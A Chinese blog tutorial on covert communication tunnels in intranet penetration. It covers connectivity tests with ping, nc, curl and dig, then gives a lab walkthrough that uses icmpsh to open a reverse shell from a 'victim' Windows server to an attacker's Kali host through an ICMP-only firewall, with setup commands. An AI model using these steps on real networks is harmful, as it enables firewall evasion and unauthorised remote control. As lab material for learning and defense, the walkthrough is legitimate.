内网安全---隐藏通信隧道基础&&网络通信隧道之一ICMP隧道
一,隐藏通信隧道基础知识
在完成信息收集之后,我们要判断流量是否出的去、进的来。隐藏通信隧道技术常用于在受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的数据传输。
1.常见的隧道:
.网络层:IPv6隧道、ICMP隧道、GRE隧道
.传输层:TCP隧道、UDP隧道、常规端口转发
.应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
2.判断内网的连通性
判断内网的连通性是指判断机器能否上外网等。要综合判断各种协议(TCP、HTTP、DNS、ICMP等)及端口通信的情况。常见的允许流量流出的端口有80、8080、443、53、110、123等。常用的内网连通性判断方法有:
1>ICMP协议
执行命令 ping <IP/域名>

2>TCP协议
netcat(简称:nc)被誉为网安界的“瑞士军刀”,是一个短小精悍的工具,通常使用TCP或UDP协议的网络连接读写数据。
nc <ip 端口>

3>HTTP协议
curl是一个利用URL规则在命令行工作的综合文件传输工具,支持文件的上传和下载。
curl命令不仅支持HTTP、HTTPS、FTP等众多协议,还支持POST、Cookie、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征
curl <ip地址:端口号>,如果远程主机开启了相应的端口,则会输出相应的端口信息,如果远程主机没有开通相应的端口,则没有任何提示,ctrl+c键可断开连接

4>DNS协议
在进行DNS连通性检测时,常用的命令为nslookup和dig
nslookup www.baidu.com vps-ip

dig是Linux默认自带的DNS探测命令,在没有指定的vps-ip时,dig会到/etc/resolv.conf文件中读取系统配置的DNS服务器的地址。如果vps-ip为192.168.43.1将解析百度网的IP地址,说明目前DNS协议是连通的,
dig @vps-ip www.baidu.com

还有一种情况是流量不能直接流出,需要在内网中设置代理服务器,常见于通过企业办公网段上网的场景。常用的判断方法如下
a.查看网络连接,判断是否存在与其他机器的8080(不绝对)等端口的连接(可以尝试运行ping -n 1 -a ip )
b.查看内网中是否有主机名类似于proxy的机器
c.查看IE浏览器的直接代理
d.根据pac文件的路径(可能是本地路径,也可能是远程路径),将其下载下来并查看
e.执行如下命令,利用curl工具进行确定
curl www.baidu.com //不通
curl -x proxy-ip:port www.baidu.com //通
二,ICMP隧道实验
1.网络拓扑图

2.环境及工具
kali Liunx(黑客):192.168.4.136(公网IP)

windows server 2008(受害者):1.1.1.11(内网IP)

工具:icmpsh
隧道:icmp隧道
防火墙将其分为内网和外网
当受害者下载了icmpsh.exe执行程序后。。。
3.实验步骤
3.1防火墙规则,只允许icmp数据包通过防火墙

3.2kali linux上安装icmpsh
.git clone https://github.com/inquisb/icmpsh.git
.apt-get install python-impacket
.sysctl -w net.ipv4.icmp_echo_ignore_all=1 //因为icmpsh工具要代替本身的ping命令的应答程序,所以需要输入此命令来关闭本地系统的ICMP应答(如果要恢复系统应答,则设置为0),否则shell的运行会不稳定(表现为一直刷屏,无法进行交互输入)
cd ./icmpsh
#./icmpsh_m.py IP(公网) IP(内网)

3.3windows server 2008中运行icmpsh.exe

当window运行icmpsh.exe后,kali linux上会得到受害者机器的一个shell

之后就可以再进行下一步的渗透工具,以达到渗透和获取信息的目的
内网安全---隐藏通信隧道基础&&网络通信隧道之一ICMP隧道的更多相关文章
- 解决网络通信中外网和内网之间的通信问题(NAT转换)
本文原址 http://www.cnblogs.com/lidabo/p/3828846.html 在网络编码中会发现程序在局域网中是可以适用的,但是在外网与内网之间和内网与内网之间就不可行.问题就在 ...
- 解决外网与内网或内网之间的通信,NAT穿透
在网络编码中会发现程序在局域网中是可以适用的,但是在外网与内网之间和内网与内网之间就不可行.问题就在于NAT.首先介绍下NAT. NAT的作用NAT(Network Address Translato ...
- 公司内网Debian Server上的openvpnserver搭建并通过SSH隧道转发到广域网
因为戴维营公司在长沙的学员,研发人员和北京的研发人员须要协同研发,故须要让北京的兄弟们增加到长沙办公室的内网,訪问版本号 管理server,于是採用在内网server上搭建一个OpenVPN服务,并把 ...
- 内网流量操控---pingtunnel建立icmp隧道
一.pingtunnel工作原理 在上面的实验环境中,我们将分别在攻击机kali 2020和webserver上部署pingtunnel工具,在量太主机之间实现icmp隧道,再在kali2020上监听 ...
- 烂泥:openvpn tun模式下客户端与内网机器通信
本文由秀依林枫提供友情赞助,首发于烂泥行天下 前两篇文章我们介绍了有关openvpn的搭建与配置文件的讲解,这篇文章我们再聊介绍下,在tun模式下openvpn客户端如何与内网机器通信的问题. 一.实 ...
- 手写内网穿透服务端客户端(NAT穿透)原理及实现
Hello,I'm Shendi. 这天心血来潮,决定做一个内网穿透的软件. 用过花生壳等软件的就知道内网穿透是个啥,干嘛用的了. 我们如果有服务器(比如tomcat),实际上我们在电脑上开启了服务器 ...
- 内网漫游之SOCKS代理大结局
0×01 引言 在实际渗透过程中,我们成功入侵了目标服务器.接着我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,比如内网的3389端口.内网网站8080端口等等.传统的方 ...
- 内网安全监控和预警平台架构设想(OSSIM)
内网安全监控和预警平台架构设想 需求简介 内网安全监控和预警平台是内网安全建设的物质基础,是所有甲方安全建设的必备武器库,无论是应急响应和追踪溯源,还是预知告警.自我清查:做下来总的体会是几个问题永远 ...
- [内网渗透]lcx端口转发
0x01 简介 lcx是一款端口转发工具,有三个功能: 第一个功能将本地端口转发到远程主机某个端口上 第二个功能将本地端口转发到本地另一个端口上 第三个功能是进行监听并进行转发使用 Lcx使用的前提是 ...
随机推荐
- 《剑指offer》面试题55 - II. 平衡二叉树
问题描述 输入一棵二叉树的根节点,判断该树是不是平衡二叉树.如果某二叉树中任意节点的左右子树的深度相差不超过1,那么它就是一棵平衡二叉树. 示例 1: 给定二叉树 [3,9,20,null,null, ...
- leetcode 28. 实现 strStr()
问题描述 实现 strStr() 函数. 给定一个 haystack 字符串和一个 needle 字符串,在 haystack 字符串中找出 needle 字符串出现的第一个位置 (从0开始).如果不 ...
- golang中channel讲解
1. 无缓冲通道 2. 有缓冲通道 有缓冲通道特点:当channel已经满,在向里面写数据就会阻塞,当channel已经为空,在从里面读数据就会阻塞. 3. 关闭channel package mai ...
- nmap 查看主机上开放的端口
作用: 检测网络上的主机检测主机上开放的端口检测操作系统,硬件地址,以及软件版本检测脆弱性的漏洞(Nmap的脚本) 扫描方式: 1. -sS Tcp SYN Scan 不需要三次握手,速度快 ...
- SpringBoot集成MongoDB之导入导出和模板下载
前言 自己很对自己在项目中集成MongoDb做的导入导出以及模板下载的方法总结如下,有不到之处敬请批评指正! 1.pom.xml依赖引入 <!-- excel导入导出 --> <de ...
- PC端实用正版软件推荐
首先介绍一下背景,我本人是一个软件工程师,所以对电脑上很多软件使用都有要求,这里将个人觉得好用的一些软件分享给大家: 1. Typora 对于长写本地笔记.网络博客的人,对 MarkDown 格式应该 ...
- VC++ 启用内存泄露检测
_CrtDumpMemoryLeaks()就是检测从程序开始到执行该函数进程的堆使用情况,通过使用_CrtDumpMemoryLeaks()我们可以进行简单的内存泄露检测. #include &quo ...
- CKKS Part2: CKKS的编码和解码
该文章翻译自CKKS EXPLAINED, PART 2: FULL ENCODING AND DECODING,主要介绍CKKS方案中是如何编码和解码的(如何将复数向量转成整数多项式,以及如何求逆运 ...
- Java--这张线程瓜图保熟,不进来看看?这瓜要是不熟它就Dead掉了
先来看一下线程这张图线程的几种运行状态之间运行流程: 看不懂没关系,慢慢来学习,往下学习来继续了解一下~ 什么是线程? 线程是进程的一部分,是程序执行中的一条执行路线: 进程就是指程序在其自身地址空间 ...
- SpringBoot 自定义配置
有时候需要自己定义一些配置,比如SpringBoot没有提供Druid连接池的配置,需要我们自己写配置. 以在springboot中使用Druid为例. 依赖 <dependency> & ...